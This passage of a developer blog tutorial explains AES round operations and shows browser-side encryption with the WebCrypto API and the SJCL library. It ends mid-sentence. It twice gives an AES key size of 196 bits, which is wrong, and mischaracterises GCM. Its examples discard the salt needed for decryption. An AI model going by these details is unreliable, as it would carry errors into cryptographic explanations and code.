&lt;p&gt;In the late ‘90s, the National Institute of Standards and Technology of the United States (NIST) started the process of creating a new block cipher to replace its predecessor, Data Encryption Standard (DES), since its 56-bit keysize was becoming more vulnerable to brute-force attacks as computers became faster. During this process, two Belgian cryptographers, Vincent Rijmen and Joan Daemen, came up with the Rijndael family of block ciphers with three algorithms chosen for the standard. All of them work on 128-bit blocks but have different key sizes: 128, 196, and 256 bits. &lt;/p&gt;

&lt;p&gt;To better understand how the base algorithm works, it’s best to imagine a block of 128 bits (16 bytes) as a two dimensional array displayed as follows:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;d0&lt;/td&gt;
&lt;td&gt;d4&lt;/td&gt;
&lt;td&gt;d8&lt;/td&gt;
&lt;td&gt;d12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d1&lt;/td&gt;
&lt;td&gt;d5&lt;/td&gt;
&lt;td&gt;d9&lt;/td&gt;
&lt;td&gt;d13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d2&lt;/td&gt;
&lt;td&gt;d6&lt;/td&gt;
&lt;td&gt;d10&lt;/td&gt;
&lt;td&gt;d14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d3&lt;/td&gt;
&lt;td&gt;d7&lt;/td&gt;
&lt;td&gt;d11&lt;/td&gt;
&lt;td&gt;d15&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The algorithm performs operations on this matrix in 10,12 or 14 rounds, depending on the key size (128,196, and 256 - respectively). Using a specific Key expansion algorithm (which we will not approach in this post), multiple 128-bit blocks are generated from the original key, one for each round plus one to be applied at the beginning of the block transformation.&lt;/p&gt;

&lt;p&gt;If we have the key block similarly organized as the following data block:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;k0&lt;/td&gt;
&lt;td&gt;k4&lt;/td&gt;
&lt;td&gt;k8&lt;/td&gt;
&lt;td&gt;k12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;k1&lt;/td&gt;
&lt;td&gt;k5&lt;/td&gt;
&lt;td&gt;k9&lt;/td&gt;
&lt;td&gt;k13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;k2&lt;/td&gt;
&lt;td&gt;k6&lt;/td&gt;
&lt;td&gt;k10&lt;/td&gt;
&lt;td&gt;k14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;k3&lt;/td&gt;
&lt;td&gt;k7&lt;/td&gt;
&lt;td&gt;k11&lt;/td&gt;
&lt;td&gt;k15&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Then, the first operation on the data block is a simple bitwise xor operation between the data and the corresponding key, overriding the existing byte contents. This is often called the AddRoundKey step.&lt;/p&gt;

&lt;p&gt;After this operation, we have 9, 11, or 13 rounds of applying the following operations:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. SubBytes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For every byte on the matrix, replace it with a value on the Substitution Box, which behaves like a lookup table. This box is constructed in such a way that provides non-linearity properties to the cipher. The method to retrieve a value from this table is to split the byte we are trying to replace in half, where the first half defines the row and the second half defines the column. This step is important to increase the confusion of the encrypted text.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. ShiftRows&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This step moves bytes around by making no shifts on the first row, making a one-byte shift on the second row, two bytes on the third row, and three bytes on the fourth row. In other words, this matrix:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;d0&lt;/td&gt;
&lt;td&gt;d4&lt;/td&gt;
&lt;td&gt;d8&lt;/td&gt;
&lt;td&gt;d12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d1&lt;/td&gt;
&lt;td&gt;d5&lt;/td&gt;
&lt;td&gt;d9&lt;/td&gt;
&lt;td&gt;d13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d2&lt;/td&gt;
&lt;td&gt;d6&lt;/td&gt;
&lt;td&gt;d10&lt;/td&gt;
&lt;td&gt;d14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d3&lt;/td&gt;
&lt;td&gt;d7&lt;/td&gt;
&lt;td&gt;d11&lt;/td&gt;
&lt;td&gt;d15&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;becomes this one:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;d0&lt;/td&gt;
&lt;td&gt;d4&lt;/td&gt;
&lt;td&gt;d8&lt;/td&gt;
&lt;td&gt;d12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d5&lt;/td&gt;
&lt;td&gt;d9&lt;/td&gt;
&lt;td&gt;d13&lt;/td&gt;
&lt;td&gt;d1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d10&lt;/td&gt;
&lt;td&gt;d14&lt;/td&gt;
&lt;td&gt;d2&lt;/td&gt;
&lt;td&gt;d6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d15&lt;/td&gt;
&lt;td&gt;d3&lt;/td&gt;
&lt;td&gt;d7&lt;/td&gt;
&lt;td&gt;d11&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;3. MixColumns&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this step, each column is extracted from the matrix and multiplied by a static matrix with the following contents:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For those that still remember Algebra, multiplying a matrix with an array will result in an array of the same size. This array is replaced on the same place where the column was retrieved from.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. AddRoundKey&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The first and fourth steps are used to increase the confusion in the resulting cipher, whilst the second and third steps are used to increase its diffusion, propagating small bit changes to as many bytes as possible.&lt;/p&gt;

&lt;p&gt;The final round simply executes these steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;SubBytes&lt;/li&gt;
&lt;li&gt;ShiftRows&lt;/li&gt;
&lt;li&gt;AddRoundKey&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There is no cryptographical necessity for the MixColumns step, as it is easily reverted on this last round.&lt;/p&gt;

&lt;h2&gt;
  
  
  Usage
&lt;/h2&gt;

&lt;p&gt;On the browser, there are two ways of adding cryptographic functionalities to your application: external cryptographic libraries or the browser's WebCrypto API.&lt;/p&gt;

&lt;p&gt;A simple example of encrypting a message from the user using AES-CTR mode, if using the WebCrypto API, would look similar to this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;encryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// the counter to be used should have the size of a block. this creates a 16 byte buffer which is 128 bits&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getRandomValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// generates data to be used as a nonce for this encryption;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;encryptionParameters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;AES-CTR&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="c1"&gt;// define how many bits to be used as the counter portion. the default is set at 64 bits, but the number can be increased if the message is longer than 2^64&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;encodedMessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Web Crypto only works with TypedArrays (Uint8Array)&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;masterKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;importKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raw&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;PBKDF2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deriveBits&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deriveKey&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//getting a CryptoKey object from a string like password using the PBKDF2 algorithm&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getRandomValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encodedKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;deriveKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;PBKDF2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;iterations&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SHA-256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="nx"&gt;masterKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;AES-CTR&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;length&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;encrypt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;decrypt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Derive the encryption key from the master key to increase its entropy&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encryptedContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;encryptionParameters&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;encodedKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;encodedMessage&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;encryptedContent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;encryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;big message contents to protect&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;safest password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptedContents&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptedContents&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;While this solution can be more secure, since the cryptographic algorithms are protected and isolated in the browser's native implementation, it is an asynchronous solution. This means that you have to use Promises if you intend to use this Web API. Another requirement is that it is only supported in HTTPS connections.&lt;/p&gt;

&lt;p&gt;If a synchronous solution is required, or if you need support for legacy browser versions, a great library to use is the Stanford JavaScript Crypto Library (SJCL). The previous example can be written similarly with the SJCL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;encryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prng&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Uint32Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEntropy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;crypto.getRandomValues&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;//initialize random generator&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;randomWords&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// a word consists of 32 bits (4 bytes) &lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;randomWords&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;encodedKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;misc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pbkdf2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;aesAlgorithm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encodedKey&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;encondedMessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;codec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utf8String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toBits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;encryptedContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;gcm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;aesAlgorithm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;encondedMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;sjcl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;codec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromBits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptedContent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;big message contents to protect&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;safest password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;In this case, we are using the Galois Counter Mode (GCM), which is an adapted version of the Counter mode for improved performance since the normal counter mode is not available in the default SJCL script.&lt;/p&gt;

&lt;p&gt;At the server-side, the Node.js Crypto API can be used as well to take care of the encryption algorithms, or simply reuse the SJCL:&lt;br&gt;
